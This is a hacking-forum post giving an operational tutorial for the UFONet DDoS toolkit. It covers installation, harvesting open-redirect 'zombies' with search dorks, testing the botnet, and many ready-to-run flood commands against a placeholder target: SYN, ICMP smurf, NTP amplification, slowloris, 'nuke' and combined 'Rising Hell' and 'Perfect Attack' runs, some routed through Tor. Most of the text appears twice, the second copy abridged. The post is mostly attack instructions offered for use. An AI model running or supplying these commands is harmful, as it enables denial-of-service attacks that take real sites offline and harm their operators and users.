Hacker
Professional
- Messages
- 1,041
- Reaction score
- 850
- Points
- 113
UFONet - is a free software, P2P and cryptographic -disruptive toolkit- that allows to perform DoS and DDoS attacks; on the Layer 7 (APP/HTTP) through the exploitation of Open Redirect vectors on third-party websites to act as a botnet and on the Layer3 (Network) abusing the protocol. - GitHub/Epsylon/ufonet
Setup & Installation ?
$ cd /opt && git clone https://github.com/epsylon/ufonet
$ apt install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy -y
$ cd ufonet && python3 setup.py install
$ python3 ufonet
./ufonet or ufonet won't work for me it gives errors, so make this:
$ echo "alias ufonet='cd /opt/ufonet && python3 ufonet'" >> /root/.bashrc
It's working now.
List examples:
$ ufonet --examples
Starting Gui:
$ ufonet --gui
(webbrowser open)
Start Mothership, on "rookie" you can click, it will leads you to ranking. (127.0.0.1:9999/ranking)
Let's activate Grid:
VISIT GRID! -> CONFIGURE! -> Set!
Click on BLACKHOLE/IP "DOWNLOAD" and see the last update.
Head over to "127.0.0.1:9999/grid"
And click "Turn Off" if you want to turn off.
Wormhole —> Inspect —> Configure Requests
Here you can setup requests like useragent,proxyserver,timeout (only for advanced users!)
Let's find zombies ?
. Method - Download Zombies
To download zombies, we are using following command:
$ ufonet --download-github
[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)y
. Method - Search Zombies
Automated Search: ?️
$ ufonet --auto-search
Dorkslist Search ?
$ kwrite botnet/dorks.txt
Apply some dorks for botnet... i have some here:
pastebin.com
$ ufonet --sd 'dorks.txt' --se 'bing'
--sa (search all : using all search engine, but take time)
--se 'duckduckgo'
--se 'bing'
--se 'yahoo'
$ ufonet --sd 'dorks.txt' --sa
Single dork : ?
$ ufonet --sd 'dorks.txt' -s 'proxy.php?url='
Tools ?
--crypter is for encrypting text, you need your key from 127.0.0.1:9999/gui
--network is for showing your network info (MAC, IP Public & Private)
--xray is a fast port scanner, used by:
$ ufonet --xray 'https://target.com/'
Options
--help prints help menu
--example shows you examples
--update updates the tool
--check-tor checks if tor is running
--force-ssl forces only ssl requests
--gui start the web interface
Test Botnet ??
To test botnet for it functionality we have choice to use different options:
--test-offline tests offline bots
--test-all this not only testing zombies, it test all bots (take time depends on internet)
-t TEST_FILE will test single text file such as:
$ ufonet -t botnet/humans.txt
Community ?
--grider creates a grider to share messages from /stats/wargames/messages
--blackhole generate a blackhole to share zombies (web interface -> 127.0.0.1:9999/ranking -> Blackhole/IP -> Download)
Some of the community commands aren't working, please use --gui for web interface to complete it.
Configure Attacks
-a TARGET DDoS an URL,such as:
$ ufonet -a https://target.com
-f TAGET_LIST DDoS a list of target, -f target.txt
-r ROUNDS Set rounds to attack such as:
$ ufonet -a https://target.com -r 100
Extra Attacks ⛓
--loic http fast attack, such as:
$ ufonet -a https://target.com -r 100 --loic 100
--loris http slow attack, such as:
$ ufonet -a https://target.com -r 100 --loris 100
--ufosyn tcp syn flood attack, such as:
$ ufonet -a https://target.com -r 100 --ufosyn 100
--nuke tcp starvation attack, such as:
$ ufonet -a https://target.com -r 100 --nuke 10000
Example Attacks ?
Small Attack:
$ ufonet -a https://target.com -r 100
1 zombies x 100 = 100 requests.
Tor Attack:
$ ufonet -a https://target.com -r 100 --proxy="http://127.0.0.1:8188"
With Threads:
$ ufonet -a https://target.com -r 100 --threads 300 --proxy="http://127.0.0.1:8188"
(if it's not working shrink the threads or delete tor)
SYN Attack:
$ ufonet -a https://target.com -r 250 --threads 150 --ufosyn 100
LOIC Attack:
$ ufonet -a https://target.com -r 250 --threads 150 --loic 100
ICMP Attack:
$ ufonet -a https://target.com -r 250 --threads 150 --smurf 100
Powerful Attack:
$ ufonet -a https://target.com -r 250 --threads 150 --nuke 10000
NTP Traffic Attack:
$ ufonet -a https://target.com -r 250 --threads 150 --monlist 1000
Rising Hell Attack:
$ ufonet -a https://target.com -r 5 --threads 50 --force-ssl --spray 100 --smurf 100 --tachyon 1000 --monlist 1001 --loic 100 --loris 101 --ufosyn 100 --xmas 100 --nuke 10000
? Perfect Attack:
$ ufonet -a https://target.com -r 5 --threads 50 --force-ssl --delay 1 --timeout 3 --expire 25 --no-scan --spray 100 --smurf 100 --tachyon 1000 --monlist 1001 --loic 100 --loris 101 --ufosyn 100 --xmas 100 --nuke 10000
Tips ?
Add --force-ssl if your target is https
Use more round and have fast internet
Command Line is easier to use than web gui
Setup & Installation ?
$ cd /opt && git clone https://github.com/epsylon/ufonet
$ apt install python3-pycurl python3-geoip python3-whois python3-crypto python3-requests python3-scapy -y
$ cd ufonet && python3 setup.py install
$ python3 ufonet
./ufonet or ufonet won't work for me it gives errors, so make this:
$ echo "alias ufonet='cd /opt/ufonet && python3 ufonet'" >> /root/.bashrc
It's working now.
List examples:
$ ufonet --examples
Starting Gui:
$ ufonet --gui
(webbrowser open)
Start Mothership, on "rookie" you can click, it will leads you to ranking. (127.0.0.1:9999/ranking)
Let's activate Grid:
VISIT GRID! -> CONFIGURE! -> Set!
Click on BLACKHOLE/IP "DOWNLOAD" and see the last update.
Head over to "127.0.0.1:9999/grid"
And click "Turn Off" if you want to turn off.
Wormhole —> Inspect —> Configure Requests
Here you can setup requests like useragent,proxyserver,timeout (only for advanced users!)
Let's find zombies ?
To download zombies, we are using following command:
$ ufonet --download-github
[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)y
Automated Search: ?️
$ ufonet --auto-search
Dorkslist Search ?
$ kwrite botnet/dorks.txt
Apply some dorks for botnet... i have some here:
ufonet updated dorks - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
--sa (search all : using all search engine, but take time)
--se 'duckduckgo'
--se 'bing'
--se 'yahoo'
$ ufonet --sd 'dorks.txt' --sa
Single dork : ?
$ ufonet --sd 'dorks.txt' -s 'proxy.php?url='
Tools ?
$ ufonet --xray 'https://target.com/'
Options
Test Botnet ??
To test botnet for it functionality we have choice to use different options:
$ ufonet -t botnet/humans.txt
Community ?
Some of the community commands aren't working, please use --gui for web interface to complete it.
Configure Attacks
$ ufonet -a https://target.com
$ ufonet -a https://target.com -r 100
Extra Attacks ⛓
$ ufonet -a https://target.com -r 100 --loic 100
$ ufonet -a https://target.com -r 100 --loris 100
$ ufonet -a https://target.com -r 100 --ufosyn 100
$ ufonet -a https://target.com -r 100 --nuke 10000
Example Attacks ?
$ ufonet -a https://target.com -r 100
1 zombies x 100 = 100 requests.
$ ufonet -a https://target.com -r 100 --proxy="http://127.0.0.1:8188"
$ ufonet -a https://target.com -r 100 --threads 300 --proxy="http://127.0.0.1:8188"
(if it's not working shrink the threads or delete tor)
$ ufonet -a https://target.com -r 250 --threads 150 --ufosyn 100
$ ufonet -a https://target.com -r 250 --threads 150 --loic 100
$ ufonet -a https://target.com -r 250 --threads 150 --smurf 100
$ ufonet -a https://target.com -r 250 --threads 150 --nuke 10000
$ ufonet -a https://target.com -r 250 --threads 150 --monlist 1000
$ ufonet -a https://target.com -r 5 --threads 50 --force-ssl --spray 100 --smurf 100 --tachyon 1000 --monlist 1001 --loic 100 --loris 101 --ufosyn 100 --xmas 100 --nuke 10000
? Perfect Attack:
$ ufonet -a https://target.com -r 5 --threads 50 --force-ssl --delay 1 --timeout 3 --expire 25 --no-scan --spray 100 --smurf 100 --tachyon 1000 --monlist 1001 --loic 100 --loris 101 --ufosyn 100 --xmas 100 --nuke 10000
Tips ?
